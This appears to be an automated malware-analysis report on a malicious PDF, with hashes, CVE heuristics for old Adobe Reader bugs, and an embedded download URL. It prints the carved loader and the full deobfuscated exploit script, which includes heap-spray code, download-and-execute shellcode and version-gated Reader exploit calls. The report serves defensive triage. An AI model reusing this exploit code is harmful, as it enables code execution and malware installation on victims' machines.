Malicious PDF / .PHP — malware analysis report

Static analysis result for SHA-256 e339992967c597e7…

MALICIOUS

PDF / .PHP

5.5 KB Created: 2008-09-24 19:47:56 Authoring application: Adobe (via Notepad) First seen: 2026-05-11
MD5: ab5159cc491247fdfcc024b8b34e16c8 SHA-1: 37b359bf0d0d16aeec66405fc184d96abc0818fb SHA-256: e339992967c597e77f67a0404fb8fc978c4d19f04e8dfaa945590ecf65a3a110
490 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell

The PDF file contains embedded JavaScript, indicated by the PDF_JAVASCRIPT and PDF_JS heuristics. A high-severity PDF_EVAL heuristic firing suggests the use of eval(), a common technique for obfuscating malicious JavaScript. The JavaScript stream itself is obfuscated, making a precise determination of its actions difficult, but the presence of eval() strongly implies code execution. The file's metadata indicates it was authored by 'Adobe (via Notepad)', which is unusual and may suggest manipulation.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 11

  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • JavaScript action low 3 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    Bbh=24;if(app.alert)Bbh++;cNe=this;XzzI=unescape;ZYOr=cNe.info;Bbh=XzzI('%'+Bbh);zkCOW=ZYOr.Trailer.replace(/[A-Z]/g,Bbh);eval(XzzI(zkCOW))
  • PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL
    Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://haydikaradenize.com/archive/joinrequests.php?id=10& Referenced by PDF JavaScript

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0006_000.js pdf-javascript-stream PDF /JS object 6 at offset 0x132C 139 bytes
SHA-256: 785976a32739cda11dee217a6c269b202f1163d7986d0e0c753b9bd3b686defa
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
Bbh=24;if(app.alert)Bbh++;cNe=this;XzzI=unescape;ZYOr=cNe.info;Bbh=XzzI('%'+Bbh);zkCOW=ZYOr.Trailer.replace(/[A-Z]/g,Bbh);eval(XzzI(zkCOW))
info_trailer_percent_stage_000.js deobfuscated-js Info /Trailer percent-placeholder decoded JavaScript (object 5, info object 9) at offset 0x136 2686 bytes
SHA-256: af98dfb6ed8ecaca998f09346497d8c6a77e008d7493b8d3ab458d6a142bc386
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 5 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
ufVt=unescape("%u4343%u4343%u4343%u0FEB%u335B%u66C9%u80B9%u8001%uEF33%uE243%uEBFA%uE805%uFFEC%uFFFF%u8B7F%uDF4E%uEFEF%u64EF%uE3AF%u9F64%u42F3%u9F64%u6EE7%uEF03%uEFEB%u64EF%uB903%u6187%uE1A1%u0703%uEF11%uEFEF%uAA66%uB9EB%u7787%u6511%u07E1%uEF1F%uEFEF%uAA66%uB9E7%uCA87%u105F%u072D%uEF0D%uEFEF%uAA66%uB9E3%u0087%u0F21%u078F%uEF3B%uEFEF%uAA66%uB9FF%u2E87%u0A96%u0757%uEF29%uEFEF%uAA66%uAFFB%uD76F%u9A2C%u6615%uF7AA%uE806%uEFEE%uB1EF%u9A66%u64CB%uEBAA%uEE85%u64B6%uF7BA%u07B9%uEF64%uEFEF%u87BF%uF5D9%u9FC0%u7807%uEFEF%u66EF%uF3AA%u2A64%u2F6C%u66BF%uCFAA%u1087%uEFEF%uBFEF%uAA64%u85FB%uB6ED%uBA64%u07F7%uEF8E%uEFEF%uAAEC%u28CF%uB3EF%uC191%u288A%uEBAF%u8A97%uEFEF%u9A10%u64CF%uE3AA%uEE85%u64B6%uF7BA%uAF07%uEFEF%u85EF%uB7E8%uAAEC%uDCCB%uBC34%u10BC%uCF9A%uBCBF%uAA64%u85F3%uB6EA%uBA64%u07F7%uEFCC%uEFEF%uEF85%u9A10%u64CF%uE7AA%uED85%u64B6%uF7BA%uFF07%uEFEF%u85EF%u6410%uFFAA%uEE85%u64B6%uF7BA%uEF07%uEFEF%uAEEF%uBDB4%u0EEC%u0EEC%u0EEC%u0EEC%u036C%uB5EB%u64BC%u0D35%uBD18%u0F10%u64BA%u6403%uE792%uB264%uB9E3%u9C64%u64D3%uF19B%uEC97%uB91C%u9964%uECCF%uDC1C%uA626%u42AE%u2CEC%uDCB9%uE019%uFF51%u1DD5%uE79B%u212E%uECE2%uAF1D%u1E04%u11D4%u9AB1%uB50A%u0464%uB564%uECCB%u8932%uE364%u64A4%uF3B5%u32EC%uEB64%uEC64%uB12A%u2DB2%uEFE7%u1B07%u1011%uBA10%uA3BD%uA0A2%uEFA1%u7468%u7074%u2F3A%u682F%u7961%u6964%u616B%u6172%u6564%u696E%u657A%u632E%u6D6F%u612F%u6372%u6968%u6576%u6A2F%u696F%u726E%u7165%u6575%u7473%u2E73%u6870%u3F70%u6469%u313D%u2630%u0000"); var v8P=new Array(); function xnaK(pTSC,tof){ while(pTSC.length*2<tof)pTSC+=pTSC; pTSC=pTSC.substring(0,tof/2);return pTSC;} function eVE(){ var ryoi=0x0c0c0c0c;var eE1=0x400000;var dh3D=ufVt.length*2; var tof=eE1-(dh3D+0x38);var pTSC=unescape("%u9090%u9090"); pTSC=xnaK(pTSC,tof);var tlB=(ryoi-0x400000)/eE1; for (var Z6Ch=0;Z6Ch<tlB;Z6Ch++)v8P[Z6Ch]=pTSC+ufVt;} try{var sGmx=app.viewerVersion.toString(); sGmx=sGmx.charAt(0)*100+sGmx.charAt(2)*10+sGmx.charAt(4); if((sGmx>=800)&&(sGmx<=812)){ var hsh=unescape("%u0A0A%u0A0A");var vkaSc=20;var UBx=vkaSc+ufVt.length; while(hsh.length<UBx)hsh+=hsh;var OryhB=hsh.substring(0,UBx); var eZp5=hsh.substring(0,hsh.length-UBx); while(eZp5.length+UBx<0x60000)eZp5=eZp5+eZp5+OryhB; for(wriw=0;wriw<1200;wriw++){v8P[wriw]=eZp5+ufVt} var fgQ="12999999999999999999";for(vyxj7=0;vyxj7<276;vyxj7++)fgQ+="8"; util.printf("%45000f",fgQ);} if((sGmx<710)||((sGmx>800)&&(sGmx<812))){eVE(); var lUH=unescape("%u0c0c%u0c0c");while(lUH.length<44952)lUH+=lUH; this.collabStore=Collab.collectEmailInfo({subj:"",msg:lUH});} if((sGmx<=900)&&(sGmx!=711)&&(sGmx!=813)&&app.doc.Collab.getIcon){eVE(); var t2T2X=unescape("%09");while(t2T2X.length<0x4000){t2T2X+=t2T2X;} t2T2X="N."+t2T2X;app.doc.Collab.getIcon(t2T2X);} }catch(e){}